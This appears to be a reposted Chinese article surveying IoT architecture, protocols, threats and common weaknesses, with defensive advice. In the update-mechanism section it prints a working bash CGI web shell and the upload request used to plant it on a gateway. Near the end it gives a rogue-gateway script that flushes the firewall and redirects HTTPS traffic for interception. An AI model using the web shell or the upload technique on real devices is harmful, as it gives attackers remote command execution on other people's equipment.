概述
什么是物联网?
在你学习有关IPv6的时候,你的老师或许说过,有一天在你的房子每个设备都会有一个IP。物联网基本上就是处理每天的事务,并把它们连接到互联网上。一些常见的物联网设备:如灯光,窗帘,空调。也有像冰箱这样的不太常见的设备,甚至一个卫生间。
物联网的定义是:“提出了互联网的发展,日常物品有网络连接,允许,发送和接收数据。”
物联网体系结构,通常有这五个部分:
- 执行器:通过物理过程控制事物,如空调机组,门锁,窗帘,
- 网关:用于收集传感器信息和控制中心
- 传感器:用于检测环境,例如光,运动,温度,湿度,水/电量,
- 云:Web界面或API托管用于收集数据的云端web应用和大型数据集分析。一般来说,就是用来做信息与其他方资源共享时,
- 移动(app):移动设备大多使用的,在设备上的应用程序,以实现手机端控制IoT环境来进行互动
物联网环境本身的控制传感器和执行器通常使用这些无线协议(还有更多的):
- Wifi
- Zwave
- ZigBee
- Bluetooth
- RF433
每个协议都有其优缺点,也有很多的限制。当谈到选择哪种协议时,最大的问题是兼容性。
驱动程序使用特定的协议。例如rf433已经大范围使用,但不具有网状网络和默认的安全机制。这意味着,如果你如果想要安全性,你就不得不拿出自己的协议,这意味着你的用户将使用现成的传感器或设备。
ZigBee和Zwave在很大程度上都是一样的。他俩之间的主要区别是在设备的通信范围。
什么是物联网安全?
人们总想着把任何东西都交给互联网,但往往会发生严重的安全错误。大多数错误是由于安全目标不明确,缺乏经验和意识。我们必须采取安全的物联网策略,而不是期望他们来给我们安全。
我们可以说物联网安全是一个包含安全策略、流程、政策和技术的术语,行业使用这些安全策略、流程、政策和技术来保护其物联网设备和机器免受当今复杂的网络攻击。
物联网安全是指保护连接到无线网络或互联网的物联网设备或支持互联网的设备。物联网安全需要安全地连接物联网设备及其组件,并保护这些设备免受网络攻击。
物联网安全专注于保护设备、它们的网络以及它们所产生的数据。这可以包括个人电脑、笔记本电脑、智能手机、平板电脑、智能家电等。
IoT时代,所有设备都将内置一个智能芯片和智能OS,所有设备都能通过各种网络协议进行通信,而且是7*24小时相连,能够产生真正海量的大数据;并且,伴随大数据应用的逐步升级,也会让机器变得更加智能,甚至具备自己的意识。万物互联的背后,用户所使用的联网设备,都有可能存在安全漏洞。目前,国内智能硬件的生产和研发都处于起步阶段,以互联网创业公司为主,很多创业公司都参考国外标准的基础架构,然后快速实现产品使用流程、上线、众筹及发布,在整个阶段没有过多地考虑安全的问题。然而,安全问题会给用户带来极大的困扰,甚至对互联网造成一定的威胁。IoT所暴露的安全问题越来越多,被关注度也与日俱增。2015年7月,菲亚特克莱斯勒美国公司宣布召回140万辆配有Uconnect车载系统的汽车,黑客可通过远程软件向该车载系统发送指令,进行各种操作。例如减速、关闭引擎、让刹车失灵等,严重危害人身安全。在2015年8月的黑帽大会和世界黑客大会上,包括汽车在内的各种智能设备都被爆出安全漏洞,黑客利用安全漏洞可以控制智能手机、汽车、交通红绿灯,甚至搭载有智能狙击镜的高级狙击步枪。在2016年的RSA2016大会上,隐私顾问Rebecca Herold表示,大量IoT设备的发布,没有任何安全和隐私控制。一些暴露在互联网上的IoT设备被感染了蠕虫病毒,并定期发起拒绝服务攻击。
物联网安全八大关键技术有哪些?
Forrester TechRadar 研究了使 IoT 嵌入式设备具有更健壮的可能举措。该研究定义了 IoT 安全的使用情形和商业价值,并展望了 13 个最相关的、最重要的 IoT 安全技术。除了 IoT 威胁检测、IoT 块环链、IoT 安全分析等比较新兴的 IoT 安全技术之外,该研究还包括 IoT 授权、IoT 加密等比较核心的技术。
Forrester Research 着重展望了 13 个最相关的、最重要的 IoT 安全技术
日益增长的安全威胁
在最近几年,许多广为人知的网络攻击已经表明了缺乏 IoT 安全所能导致的威胁,其中最著名的攻击可能是 “Stuxnet 蠕虫病毒” 攻击。Stuxnet 蠕虫病毒有针对性地攻击伊朗的铀浓缩设施的工业可编程逻辑控制器(PLC)。专家认为,Stuxnet 蠕虫病毒至少攻击了超过 1000 台的离心机,这些离心机通过广域网(WAN)连接到了运行 Windows 操作系统的工业可编程逻辑控制器上。
即使你使用了一定的 IoT 安全措施,你所连接的小工具也可能成为犯罪分子攻击的媒介。去年秋天,互联网 DNS 供应商 Dyn 遭受到一次网络攻击,这次攻击打乱了人们对公共网站的访问。攻击者能够利用的联网设备非常之多,甚至包括 DVR、相机等。
确保物联网安全
确保物联网设备安全是一件非常棘手的事。由于物联网设备的形状、尺寸和功能通常会大相径庭,因此传统的端点安全模型显得有些不切实际。
最重要的是,就其本质而言,物联网设备在电源、性能和功能方面都是比较受限,许多设备使用的是定制的、非标准的操作系统,例如 NANIX —— Linux 的一个早期可穿戴设备的版本。
由于有如此多的资源受限的设备,网络管理员几乎不可能知道所有设备的运行情况。此外,还有一些情况甚至更复杂 —— 许多 IoT 设备具有非常长的生命周期却几乎没有任何安全机制,例如商业或工业中的温度传感器。
此外,由于原始的设计不够完善,或者由于资源有限(例如存储空间和处理能力),许多 IoT 设备打补丁或者升级非常不方便。
最后,由于许多设备使用的是非标准的或者历史遗留的通信协议(例如 M2M),它们很难被大多数安全设备识别。
由于物联网安全的挑战不断加大,因此需要技术和生产同时来解决这些问题。下面列举了八个提升 IoT 安全性的关键技术。
网络安全:IoT 网络现在以无线网络为主。在 2015 年,无线网络的流量已经超过了全球有线网络的流量。由于新生的 RF 和无线通信协议和标准的出现,这使得 IoT 设备面临着比传统有限网络更具挑战性的安全问题。
身份授权:IoT 设备必须由所有合法用户进行身份验证。实现这种认证的方法包括静态口令、双因素身份认证、生物认证和数字证书。物联网的独特之处在于设备(例如嵌入式传感器)需要验证其他设备。
加密:加密主要用于防止对数据和设备的未经授权访问。这一点估计有点困难,因为 IoT 设备以及硬件配置是各种各样的。一个完整的安全管理过程必须包括加密。
安全侧信道攻击:即使有足够的加密和认证,IoT 设备也还可能面临另一个威胁,即侧信道攻击。这种攻击的重点不在于信息的传输工程,而在于信息的呈现方式。侧信道攻击(SCA)会搜集设备的一些可操作性特性,例如执行时间、电源消耗、恢复密钥时的电磁辐射等,以进一步获取其它的价值(图 2)。
安全分析和威胁预测:不仅必须监视和控制与安全有关的数据,还必须预测未来的威胁。必须对传统的方法进行改进,寻找在既定策略之外的其它方案。预测需要新的算法和人工智能的应用来访问非传统攻击策略。
接口保护:大多数硬件和软件设计人员通过应用程序编程接口(API)来访问设备,这些接口需要对需要交换数据(希望加密)的设备进行验证和授权的能力。只有经过授权,开发者和应用程序才能在这些设备之间进行通信。
交付机制:需要对设备持续得更新、打补丁,以应对不断变化的网络攻击。这涉及一些修复漏洞的专业知识,尤其是修复关键软件漏洞的知识。
系统开发:IoT 安全需要在网络设计中采用端到端的方法。此外,安全应该至始至终贯穿在整个产品的开发生命周期中,但是如果产品只是传感器,这就会变得略微困难。对于大多数设计者而言,安全只是一个事后的想法,是在产品实现(而不是设计)完成后的一个想法。事实上,硬件和软件设计都需要将安全考虑在整个系统当中。
由于 IoT 设备的快速增长以及这些设备之间无线连接所带来的挑战,产品设计者必须重视网络安全问题。这里介绍的八个关键的 IoT 安全技术是传统方法与最新方法的结合,是与工具的结合,最终以确保 IoT 的真正安全。
什么是物联网设备?
物联网设备是指通过网络(本地网络或互联网)连接的设备。智能电视、智能手表、智能电器和智能工业机器——只是成千上万种物联网设备和机器中的几个例子而已。
物联网网络是由智能设备组成的网络,这些设备相互连接并通过互联网共享信息/数据,而无需人类参与。
IOT技术架构有哪些?
IoT技术应用虽然复杂,但是从逻辑上看可以把它的技术架构分为云平台、设备终端和手机终端三个方面。能实现的流程是通过手机端下载APP与云端进行通信,发送控制指令,再由云端转发控制指令给设备终端。这样就能够实现在任何环境下,控制一台连接互联网的智能设备,从而实现智能化。
云平台
云平台是控制IoT的控制核心,它将用户的APP和设备终端控制紧密地联系到了一起,云平台将智能设备接入公网增加了安全风险。居民家中、工作场所及公共空间里的物联网设备生成的潜在敏感型数据,会在公共互联网中来回穿梭。对于制造商及这些联网设备的用户来说,确保这些数据的安全可谓是重中之重。
IoT云平台按照功能类型大致可分为三类:转发云、功能云和第三方云平台。每种云平台对于手机终端和设备终端的功能的偏重程度不一样,这也是我们在研究IoT安全时需要注意的。
1.转发云
转发云顾名思义就是指云端功能用于流量转发使用。这类云平台属于轻量级,自身代码和功能不多,主要功能是起到反向代理的作用,将处于内网的智能终端设备流量转发给手机,将手机控制流量转发给智能终端。转发云平台自身没有过多的功能。这类云平台的主要特点是快速转发,云端的功能负担比较小,成本低。手机客户端收到的数据和IoT终端产生的数据是一致的。所以以后对于这类云平台的分析,只需分析一种状态的数据包即可。
2.功能云
功能云实际上就是所有控制、信息等功能全部集中在云端的平台。这类平台的主要特点是手机终端和设备终端都是轻量级的,自身代码量非常少。在安全研究过程中,从手机终端和设备终端上来看是发现不了太多信息的。对使用功能云的智能硬件的安全研究,应将重点工作放在如何通过渗透测试手段获取功能云的权限,从而反向控制智能终端设备上。反之,对于功能云的防护,也应当把防护重心部署在功能云上。
3.第三方云平台
第三方云平台是指智能硬件产品原厂提供的云服务以外的云平台,如“某某微联”等智能硬件接入平台。这类平台的主要功能是为用户接入提供统一的接口,用户在拥有多个智能硬件的环境下,使用一个APP就可以实现统一控制。对于第三方云平台的安全研究,重点在于分析云端和设备终端的流量。目前,市面上大多数第三方IoT云平台都做得比较安全,而第三方云和原厂的云平台之间会统一API接口,有时找到API接口的文档,会对安全研究有帮助。
手机客户端
现今,大多数智能硬件都使用手机客户端作为控制终端,手机客户端可以作为智能硬件功能呈现和控制的主要手段。主流的手机客户端为iOS版本APP和Android版本APK。在开发智能硬件的过程中,由于iOS版本需要苹果公司审核,所以流程非常长,很多厂商都是先开发测试iOS版本,等到功能全部开发完成,就可以提交审核,然后快速开发APK版本。最终保证两个版本同时上线。
手机客户端的主要功能有信息查询、设备控制、状态反馈、远程升级、设备配对连网等,在这些功能背后有很多网站接口、引用的第三方库、类等。
目前,智能终端手机控制功能集成在第三方APP中,这样的开发方式需要第三方提供标准的SDK接口,统一标准的数据调用格式从而使智能终端控制和第三方APP完美兼容。
在IoT安全分析过程中,手机客户端是非常重要的一个步骤,而且手机客户端的分析门槛低,不需要有智能硬件就可以进行分析。通过手机客户端的漏洞去控制一台设备是非常有效的路径,安全人员应多加防范。
智能硬件终端
1.硬件结构
从硬件上看,智能终端普遍采用的是计算机经典的体系结构——冯·诺依曼结构,即由运算器(Calculator,也叫算术逻辑部件)、控制器(Controller)、存储器(Memory)、输入设备(Input Device)和输出设备(Output Device)5大部件组成,其中的运算器和控制器构成了计算机的核心部件——中央处理器(Center Process Unit,简称CPU)。每一个处理单元都可以看作是一个单独的计算机系统,运行着不同的程序。每个处理单元通过一定的方式与应用处理单元通信,接受应用处理单元的指令,进行相应的操作,并向应用处理单元返回结果。
这些特定的处理单元芯片往往是以ASIC的形式出现的,但实际上仍然是片上计算机系统。
2.软件结构
在智能终端的软件结构中,系统软件主要是操作系统和中间件。操作系统的功能是管理智能终端的所有资源(包括硬件和软件),同时也是智能终端系统的内核与基石。操作系统是一个庞大的管理控制程序,大致包括 5 个方面的管理功能:进程与处理机管理、作业管理、存储管理、设备管理和文件管理。常见的智能终端操作系统有Linux、Tiny OS、BusyBox、OpenWrt、RIOT、Contiki等。
中间件一般包括函数库和虚拟机,使得上层的应用程序在一定程度上与下层的硬件和操作系统无关。应用软件则提供供用户直接使用的功能,满足用户需求。从提供功能的层次来看,可以这么理解,操作系统提供底层API,中间件提供高层API,而应用程序提供与用户交互的接口。在某些软件结构中,应用程序可以跳过中间件,直接调用部分底层API来使用操作系统提供的底层服务。
ARM优秀的设计和商业模式,使其非常适合智能终端的应用场景,因此目前智能终端所使用的CPU内核以ARM居多,主要有ARM9、ARM11、ARM Cortex A8等几种架构。另外,Marvell公司的PXA解决方案采用的XScale内核也有一定的应用。
什么是物联网安全挑战?
任何安全评估你都需要了解你的敌人是谁,他们会如何攻击系统并滥用使用它们。当我做威胁引导的时候我认为设备包含在环境中的信息,这些驱动器都在什么地方,都有可能构成什么样风险。一个物联网设备被黑可能是被用来针对物联网环境或仅仅是变成一个僵尸网被用来攻击外部网络(或两者的组合)。你应该评估什么可以影响执行器,以及如何确定传感器的值可能会影响环境。要做到这一点,你必须很了解物联网生态系统的工作方式,什么类型的设备可能会被使用,以及影响可能会如何扩大。
随着智能硬件创业的兴起,大量智能家居和可穿戴设备进入了人们的生活,根据Gartner报告预测,2020年全球IoT设备的数量将高达260亿个。由于安全标准滞后,以及智能设备制造商缺乏安全意识和投入,IoT安全已经埋下极大隐患,是个人隐私、企业信息安全,甚至国家关键基础设施的头号安全威胁。
目前,IoT存在5大安全隐患。
数据存储不安全
毫无疑问,移动设备用户面临的最大风险是设备丢失或被盗。任何捡到或偷盗设备的人都能得到存储在设备上的信息。这很大程度上依赖于设备上的应用为存储的数据提供何种保护。很多智能硬件手机客户端的开发者对智能硬件的配置信息和控制信息都没有选择可靠的存储方式,可以通过调试接口直接读取到明文或者直接输出至logcat中。用户身份认证凭证、会话令牌等,可以安全地存储在设备的信任域内,通过对移动设备的破解,可达到劫持控制的目的。
服务端控制措施部署不当
由于要降低对服务端的性能损耗,很多情况下现有智能硬件的安全策略是把安全的过滤规则部署在客户端,没有对所有客户端输入数据的输入检查和标准化。使用正则表达式和其他机制可以确保只有允许的数据才能进入客户端应用程序。在设计时并没有实现让移动端和服务端支持一套共同的安全需求。可以通过将数据参数直接提交至云端或客户端APK对参数过滤的限制,达到破解设备功能的目的。
传输过程中没有加密
在智能硬件的使用过程中,存在连接开放Wi-Fi网络的情况,故应设计在此场景下的防护措施。可以列一个清单,确保所有清单内的应用数据在传输过程中得到保护(保护要确保机密性和完整性)。清单中应包括身份认证令牌、会话令牌和应用程序数据。确保传输和接收所有清单数据时使用SSL/TLS加密(See CFNetwork Programming Guide)。确保你的应用程序只接受经过验证的SSL证书(CA链验证在测试环境中是禁用的;确保你的应用程序在发布前已经删除这类测试代码)。通过动态测试来验证所有的清单数据在应用程序的操作中都得到充分保护。通过动态测试、确保伪造、自签名等方式生成的证书在任何情况下都不被应用程序接受。
手机客户端的注入
手机客户端和Web应用程序的输入验证和输出过滤应该遵循同样的规则。要标准化转换和积极验证所有的输入数据,即使对于本地SQLite/SQLcipher的查询调用,也使用参数化查询。当使用URL scheme时,要格外注意验证和接收输入,因为设备上的任何一个应用程序都可以调用URL scheme。当开发一个Web/移动端混合的应用时,保证本地的权限是满足其运行要求的最低权限。另外,控制所有UIWebView的内容和页面,防止用户访问任意的、不可信的网络内容。
身份认证措施不当
授权和身份认证大部分是由服务端进行控制的,服务端会存在用户安全校验简单、设备识别码规律可循、设备间授权不严等安全问题。目前,可以在分析出设备身份认证标识规律的情况下(如MAC地址、SN号等都可以通过猜测、枚举的方式得到),批量控制大量设备。这个漏洞的危害在智能硬件里是最大的。
密钥保护措施不当
有些IoT产品在开发过程中考虑到了安全加密,比如使用AES128位加密作为传输加密的内容,使用MD5加密用户密码。在对于对称性加密方式的处理过程中,密钥的保存方式是至关重要的。在IoT解决方案中,手机客户端发起的请求需要对数据内容进行加密。也就是说,手机客户端内需要有AES的密钥。如果密钥存放的方式不当,可以轻而易举地将数据还原成明文进行逆向分析,从而进行进一步的攻击。在对大量的IoT设备进行安全研究后发现,设备基本上都会把AES的密钥存放在手机客户端中,有的做得很简单,写在了一个加密函数里。有的做得很深,放在一个lib库中。这些只是提高了技术门槛而已,不是解决安全问题的办法。
会话处理不当
很多智能设备都会因会话管理措施不当,受到攻击会话劫持,使设备被控制,所以说永远不要使用设备唯一标示符(如UDID、IP、MAC地址、IEME)来标示一个会话。保证令牌在设备丢失/被盗取、会话被截获时可以被迅速重置。务必保护好认证令牌的机密性和完整性(例如,只使用SSL/TLS传输数据)。另外,使用可信任的服务来生成会话。
敏感数据泄露
对于智能设备的安全研究,可以通过智能设备所泄露出来的数据,进行进一步分析,从而获得控制权限。所以必须保证安全的东西都不放在移动设备上,最好将它们(如算法、专有/机密信息)存储在服务器端。如果安全信息必须存储在移动设备上,尽量将它们保存在进程内存中。如果一定要放在设备存储上,就要做好保护。不要硬编码或简单地存储密码、会话令牌等机密数据。在发布前,清理被编译进二进制数据中的敏感信息,因为编译后的可执行文件仍然可以被逆向破解。
当今的网络犯罪分子对物联网设备及其生态系统的安全构成了重大威胁。
当今物联网设备制造商、运营商和消费者面临的6大风险:
1、缺乏及时更新和过时的软件
更新对于维护物联网设备的安全性至关重要。发现新的漏洞后,应立即及时更新设备。智能手机和电脑通常都会经常收到更新,但物联网设备通常不会这样。这些设备通常缺乏既定的安全更新和补丁流程,而且物联网设备制造商在设计产品时通常不会优先考虑网络安全。这导致了更容易受到网络攻击的设备的市面流通。
2、不安全的密码
大多数物联网设备都有默认密码,这很容易被网络犯罪分子破解。对于任何类型的物联网设备,制造商都应提供一些基本机制,如密码过渡期、密码强度、帐户锁定和设备使用时的动态口令。还应强制用户在设备设置中修改默认或当前凭据。及时更改密码应该是物联网设备的常态。
3、缺乏意识
近年来,互联网用户已经学会了如何避免垃圾邮件或网络钓鱼电子邮件、不必要的链接和其他可疑活动。他们还学会了在电脑上定期进行病毒扫描,并使用强密码保护Wi-Fi 网络。不过大多数物联网设备用户仍然没有采取这些预防措施。正如我们之前讨论的,物联网设备的大部分风险仍然来自制造商,但使用这些设备的所有者和业务流程可能会带来更大的威胁。最大的安全风险是对攻击或安全威胁的无知以及普遍缺乏意识。 结果,网络威胁更加复杂。
4、僵尸网络攻击
僵尸网络是一种恶意软件,它劫持连网设备的网络,并允许黑客实施攻击。僵尸网络可以在网络上自动蔓延,自动进行攻击,并加速攻击以获得最大的影响。这些攻击对黑客来说成本很低。黑客可以远程访问目标设备,从而在有限的时间内感染数百万台设备。僵尸网络攻击的结果可能是服务器崩溃、数据被盗、设备性能下降等。对单个物联网设备的攻击不会造成任何广泛的威胁,但对数以百计或数以千计的设备的攻击可能会对物联网设备生态系统造成灾难性后果。
5、不受信任的部署位置
有时物联网设备会在不安全的地方长时间使用,这使得黑客更容易攻击这些设备而不被发现。物联网设备大多被设计为部署在公共和偏远的地方,攻击者可以在这些地方获取设备的物理访问权限或 MAC 地址。这种 MAC 访问或物理访问使黑客能够绕过物联网设备的当前安全系统。
6、数据保护不足/缺乏加密
对于大多数物联网设备而言,缺乏数据加密是一个主要的安全问题。每次传输都没有加密是最大的物联网安全威胁之一。许多物联网设备不加密它们传输的数据,这意味着,如果攻击者进入连网设备的网络,他/她可以窃取敏感信息,如密码和发送到设备的其他数据。
物联网中常见的漏洞有哪些?
- 未经身份验证的更新机制
- SQL / JSON注入
- 设计逻辑
- 过于信任
未经身份验证的更新机制
更新软件包有很多不同的方法。有些人用在Linux系统中传统的软件包管理器,使用较少的传统手段,如可执行程序,可运行于同一网络上的计算机,来从云环境倒推更新。这些更新的机制最大的问题是,他们不使用安全的手段来提供软件包。例如使用单一的可执行文件的机制,访问一个隐藏的API用于在网关替换文件。你需要做的是上传CGI文件替换现有文件。在这种特定的情况下的网关是bash的CGI运行,所以就上传了自己的shell:
#!/bin/sh
echo -e "Content-type: text/htmlrnrn"
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[]||g' | sed 's|%20| |g')
$test2
请求:
POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=------7cf2a327f01ae
User-Agent: REDACTED
Host: 192.168.1.98:8181
Content-length: 482
Pragma: no-cache
--------7cf2a327f01ae
Content-Disposition: form-data; name="auth"
11366899
--------7cf2a327f01ae
Content-Disposition: form-data; name="type"
w
--------7cf2a327f01ae
Content-Disposition: form-data; name="file"; filename="C:REDACTED CONFIGURATORoutputlogin.cgi"
#!/bin/sh
echo -e "Content-type: text/htmlrnrn"
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[]||g' | sed 's|%20| |g')
$test2
--------7cf2a327f01ae
利用现有的解决方案,如更新包管理器,如果你必须推出自己的更新包,请在安装部署之前验证它。
SQL/NoSQL injection
SQL注入已经是一个存在很长时间的漏洞,当然注入漏洞的产生是因为程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。 我们可以看到很多的解决方案,很多开发商并不认为这是NoSQL数据库的问题或只是不知道这是一个问题。在这里,我的建议是一定要做适当的输入验证和过滤。
这里没有案例分析,但可以看看这篇文章 websecurify.
设计逻辑和过于信任
由于没有可用的参考架构,我们看到过很多的架构,虽然框架能使事情变得更容易,但它可能存在很大的风险威胁,一个单一的组件可能被破坏。此外,我们看到开发商认为通信中传统用户输入是不会造成威胁的。在一个这样的实例中,我们注意到,当拦截网关和云之间的通信时,没有从网关标识符(我们可以很容易地枚举)的身份验证。这导致了我们可以注入获取其他用户的信息。其他一些实例包括:
- 移动应用程序直接登录到数据库(所有设备使用相同的密码)
- 本地网络通信不加密
- 消息没有签名或进行加密
- 易暴力枚举或不可撤销信息(如出生和名称为准)的使用作为API密钥来识别用户的网关
- 通过默默无闻的安全性
- 内部开发的加密算法
建议:
- 接收端的信息适当编码处理恶意信息,这意味着客户机不应当为服务器和客户机提供明文信
- 息。一般使用审核和验证框架。
- 如果设备在网络中托管,不要指望任何输入是值得信赖。
- 在所有通信中使用合适的加密(https)如果证书是无效的则不开放
- API密钥相当普遍,以确定一个特定的网关。因为该标识符的服务器作为认证令牌,则需要确保该识别符是使用密码安全RNG随机生成的。一般建议使用128位(32个字符)。
- 即使是最知名的密码学家也不能保证自己算法的百分百安全。
很多时候用户希望使用自己的手机在家里远程控制他们的服务。例如打开空调或打开门。这就会引发一个问题,你的网关通常位于路由器后面,而不是直接从Internet访问。有些解决方案不需要使用端口转发,但这还需要一个动态的DNS解决方案,需要用户配置。
一般公司做的是移动应用程序将指令发送到云端,然后网关从云端获取指令。
一些物联网安全的解决方案参考:
- GSMA IoT Security Guidelines – complete document set
- OWASP Internet of Things (IoT) Project
- AllJoyn Alliance (this is a framework under development for secure communication in the IoT environment)
- Iotivity(soon will be merged with AllJoyn)
安全测试:
通过代理做一个从物联网网关到互联网的拦截。
#!/bin/sh
echo "Interface with internet connectivity: "
read iInf
echo "Secondary interface with rogue device: "
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone ..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443 -j REDIRECT --to-port 8080
最后
以上就是真实大侠为你收集整理的物联网安全概述的全部内容,希望文章能够帮你解决物联网安全概述所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复